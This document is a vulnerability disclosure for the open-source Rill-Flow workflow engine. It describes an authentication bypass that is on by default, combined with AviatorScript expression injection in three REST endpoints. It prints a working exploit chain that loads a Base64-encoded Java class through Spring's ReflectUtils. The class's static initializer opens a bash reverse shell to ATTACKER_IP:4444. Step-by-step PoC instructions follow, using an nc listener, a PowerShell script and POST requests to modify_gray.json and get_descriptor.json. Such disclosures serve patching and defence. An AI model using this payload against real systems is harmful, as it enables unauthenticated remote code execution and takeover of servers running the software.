Title: Authentication Bypass + AviatorScript Expression Injection RCE in Rill-Flow ≤ 0.1.21-SNAPSHOT
BUG_Author: Frederick Affected Version: ≤ 0.1.21-SNAPSHOT Vendor: https://github.com/weibocom/rill-flow Software: https://github.com/weibocom/rill-flow
Vulnerability Files:
rill-flow-impl/.../Switchers.java:45— Auth disabled by defaultrill-flow-impl/.../AuthUserResolver.java:70-73— Auth bypassrill-flow-service/.../AviatorCache.java:46— UnsafeAviatorEvaluator.compile()rill-flow-service/.../JsonValueMapping.java:34-36— User expression entry (doTransform→getAviatorExpression→execute)rill-flow-dag/.../JSONPathInputOutputMapping.java:137—AviatorEvaluator.execute()on user inputrill-flow-web/.../DAGDescriptorController.java— Exposed REST endpoints
Switchers.java:45 defaults ENABLE_AUTH_RESOLVER to false. When off, AuthUserResolver.java:70-73 bypasses all HMAC-SHA256 signature checks and returns hardcoded FlowUser(uid=127001L), granting unrestricted access to all endpoints under /flow/bg/manage/descriptor/*.
Rill-Flow uses Aviator 5.2.7 (no sandbox API — enableSandboxMode introduced in 5.4.3). Three REST endpoints accept user-controlled Aviator expressions:
| Endpoint | Field | Storage | Trigger |
|---|---|---|---|
POST modify_gray.json |
gray_rule |
Redis | get_descriptor.json?descriptor_id=x:x triggers gray rule evaluation |
POST modify_function_ab.json |
ab_rule |
Redis | Auto-triggered during DAG task function dispatch |
POST add_descriptor.json |
transform in YAML body |
MySQL/Redis | submit.json → inputMappingCalculate() during DAG execution |
All three converge on AviatorEvaluator.compile(user_input).execute(env).
Default FunctionMissing=null blocks instance method calls (obj.method()), but AviatorScript's use statement — a compile-time language feature — imports arbitrary Java packages and enables direct static method invocation without touching FunctionMissing.
Since Rill-Flow is a Spring Boot application, spring-core-5.3.31.jar is on the classpath, providing org.springframework.cglib.core.ReflectUtils.defineClass() and org.springframework.util.Base64Utils.decodeFromString(). The exploit chain:
use org.springframework.util.*;
use org.springframework.cglib.core.*;
let bytes = Base64Utils.decodeFromString('<BASE64_MALICIOUS_CLASS>');
ReflectUtils.defineClass('Shell', bytes, ClassLoader.getSystemClassLoader())
The malicious class uses a static {} initializer that auto-executes on JVM class load — no method invocation needed:
public class Shell {
static {
try {
String[] cmd = {"/bin/bash", "-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"};
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {}
}
}① POST modify_gray.json (no auth)
alias=a, gray_rule=<Spring ReflectUtils payload>
→ stored in Redis
② POST get_descriptor.json?descriptor_id=x:x
→ alias empty → getDescriptorAliasByGrayRule()
→ getValueFromRuleMap() iterates aliases alphabetically
→ alias=a evaluated first
→ AviatorEvaluator.compile(gray_rule).execute(env)
→ ReflectUtils.defineClass() loads Shell class
→ static {} auto-executes → reverse shell
Note on screen recording: The demo video verifies only the gray_rule endpoint (simplest attack path, no DAG required). The other two endpoints (modify_function_ab.json and add_descriptor.json) have been separately confirmed exploitable via Docker replication and can be reproduced following the same PoC methodology.
-
Start listener on attacker machine:
nc -lvnp 4444
-
Run PoC script:
powershell -ExecutionPolicy Bypass -File poc.ps1
-
Three steps executed by the script:
- Compile malicious class with
static {}reverse shell → Base64 encode - POST
modify_gray.json— inject gray_rule (no authentication required) - POST
get_descriptor.json?descriptor_id=x:x— trigger gray rule evaluation → RCE
- Compile malicious class with
-
Reverse shell received on attacker's nc listener — full container access as root.
-
To target the other two endpoints:
modify_function_ab.json: Same payload asab_ruleparameter, auto-triggered during DAG function dispatchadd_descriptor.json: Embed payload in YAML'stransformfield, trigger viasubmit.jsonwith returneddescriptor_id(valid DAG YAML example in README_zh.md)